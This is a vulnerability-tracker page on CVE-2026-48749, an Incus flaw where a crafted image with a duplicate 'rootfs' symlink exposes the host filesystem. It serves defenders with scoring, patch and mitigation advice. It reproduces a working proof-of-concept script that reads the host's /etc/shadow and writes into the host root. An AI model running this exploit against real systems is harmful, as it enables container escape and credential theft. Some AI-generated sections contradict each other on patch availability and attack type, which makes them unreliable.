Skip to main content

Incus CVE-2026-48749

| EUVDEUVD-2026-63976 CRITICAL
External Control of File Name or Path (CWE-73)
2026-06-26 https://github.com/lxc/incus GHSA-2q3f-q5pq-g8wv
9.9
CVSS 3.1 · Vendor: https://github.com/lxc/incus
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain Incus account with image-import rights
  2. Delivery
    Craft image with duplicate rootfs symlink to /
  3. Exploit
    Import image and init instance
  4. Execution
    Invoke incus file pull/push on stopped container
  5. Persist
    forkfile chroots into host root
  6. Impact
    Read/write host files as root, escalate to command execution

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V5 - File Handling File name/path control
Exploitation Conditions

The attacker must have authenticated Incus access with permission to import an image and initialize/create an instance (CVSS PR:L), and must supply a maliciously crafted image tarball containing a standard metadata.yaml and rootfs/ directory plus an injected duplicate top-level 'rootfs' symlink pointing at the desired host path (e.g. rootfs -> /). Exploitation runs through the stopped-container file API ('incus file pull'/'incus file push'), so the attacker needs the ability to invoke those file operations on the instance. Limiting factors: it does not work against default trusted-only deployments where untrusted users cannot import images or create instances, requires the affected version (< 7.2.0), and depends on the victim accepting/processing an attacker-controlled image rather than triggering automatically.

Impact

Signals are largely consistent and point to a genuine high priority for environments running Incus. The CVSS 3.1 base score is 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H): network-reachable API, low complexity, only low privileges required, no user interaction, a scope change (container to host), and full confidentiality/integrity/availability impact. The PR:L is the key limiter - the attacker must already hold an Incus account/permission allowing image import and instance creation, so this is privilege escalation/escape rather than a fully unauthenticated takeover. A functional PoC is published, which raises practical exploitability, though no EPSS score, SSVC decision, or KEV listing was provided in the input, so widespread automated exploitation cannot be asserted. Net: a real, patch-now issue for multi-tenant or shared Incus deployments, and lower urgency where only fully trusted operators can reach the daemon.

Exploit ScenarioDerived

A user with limited Incus permissions on a shared/multi-tenant host crafts an image tarball containing a normal metadata.yaml plus a second top-level 'rootfs' entry that is a symlink to '/', imports it, and creates an instance from it. Using 'incus file pull' the attacker reads the host's /etc/shadow, and with 'incus file push' writes arbitrary files into the host root filesystem - potentially escalating to root command execution. A complete working PoC accompanies the published advisory.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.8% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 26, 2026

Container-to-host filesystem escape in Incus before 7.2.0 lets a user who can import images and create instances read and write arbitrary files on the host as root. A malicious image carrying a duplicate top-level 'rootfs' symlink (rootfs -> /) passes image validation, and the stopped-container file API later chroots into that symlinked path via forkfile, exposing the host root filesystem through 'incus file pull/push'. A working proof-of-concept is published in the GitHub Security Advisory (GHSA-2q3f-q5pq-g8wv); publicly available exploit code exists, but there is no public exploit identified beyond the PoC and the CVE is not in CISA KEV.

RemediationAI

Vendor-released patch: 7.2.0 - upgrade Incus to 7.2.0 or later, which corrects the image validation/extraction so a duplicate top-level 'rootfs' symlink is no longer trusted; see the advisory at https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv. Until you can upgrade, restrict who can import images and create instances: only allow image imports from trusted sources and avoid importing untrusted/third-party image tarballs (the attack requires a crafted image), and tighten Incus project/RBAC permissions so untrusted or low-trust accounts cannot run 'incus image import' or 'incus init' (trade-off: this reduces self-service capability for legitimate users). Where feasible, avoid using 'incus file pull/push' against instances built from untrusted images, since that API path is what triggers the chroot into the symlink. These are compensating controls only; none fully closes the symlink-handling flaw, so patching to 7.2.0 is the real fix.

Affected VersionsENISA

incus < 7.2.0

Affected Packages

go github.com/lxc/incus no fix
go github.com/lxc/incus/v6 no fix
go github.com/lxc/incus/v7 fix: 7.2.0
go github.com/lxc/incus/v7/cmd/incusd fix: 7.2.0
euvd incus fix: 7.2.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 5 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Incus is a system container and virtual machine manager (a community fork of LXD) written in Go; the affected code lives in the incusd daemon (pkg:go/github.com/lxc/incus/v7/cmd/incusd). The flaw is a path/symlink handling weakness classed as CWE-73 (External Control of File Name or Path). Incus considers an image valid as soon as it observes a standard 'metadata.yaml' plus a 'rootfs/' directory entry, but full tar extraction subsequently processes a second, duplicate top-level 'rootfs' entry that is a symlink to an attacker-chosen path (e.g. '/'). When the stopped-container file API opens d.RootfsPath() and hands that file descriptor to the forkfile helper, forkfile chroots into the symlink target, so file operations intended for the container's rootfs instead operate on the host filesystem with root privileges.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/lxc/incus) PRIMARY 9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
vuln.today AI 9.9 CRITICAL

Daemon API is network-reachable (AV:N) and the attack is reliable (AC:L) but needs an account able to import images/create instances (PR:L); container-to-host escape is a scope change (S:C) with full host C/I/A impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SUSE CRITICAL
Red Hat 9.9 CRITICAL

Primary rating from Vendor (https://github.com/lxc/incus).

CVSS VectorVendor: https://github.com/lxc/incus

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.

metadata.yaml
rootfs/
rootfs -> /

In practice, this allows a malicious actor to access the host's filesystem with root privileges.

PoC

Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC rootfs symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs


incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/

Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

Executive ViewAI

Why It Matters

Incus container management systems contain a critical vulnerability (CVE-2026-48749) that allows users with image import and instance creation permissions to escape container isolation and gain unauthorized root-level access to the host filesystem. An attacker can craft a malicious container image with a symlink that bypasses validation, enabling them to read and modify any file on the host system. Organizations relying on Incus for workload isolation or multi-tenant container deployments face immediate risk of complete system compromise and data exfiltration.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: Restrict image import permissions to single, highly audited administrator account; disable instance creation if operationally feasible; implement network segmentation to isolate Incus from critical production systems; deploy file integrity monitoring on host filesystems; enable enhanced audit logging with alerting for image import events; monitor host logs for container escape indicators; establish incident response procedures for potential exploitation.

Threat Intelligence Overview

EPSS Score
0.8%
Top 46% exploitable
Prevalence
Medium
Linux system-container/VM manager (LXD fork); moderate self-hosted and homelab adoption
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.8%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

71
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +50
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Vendor StatusVendor

SUSE

Severity: Critical

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy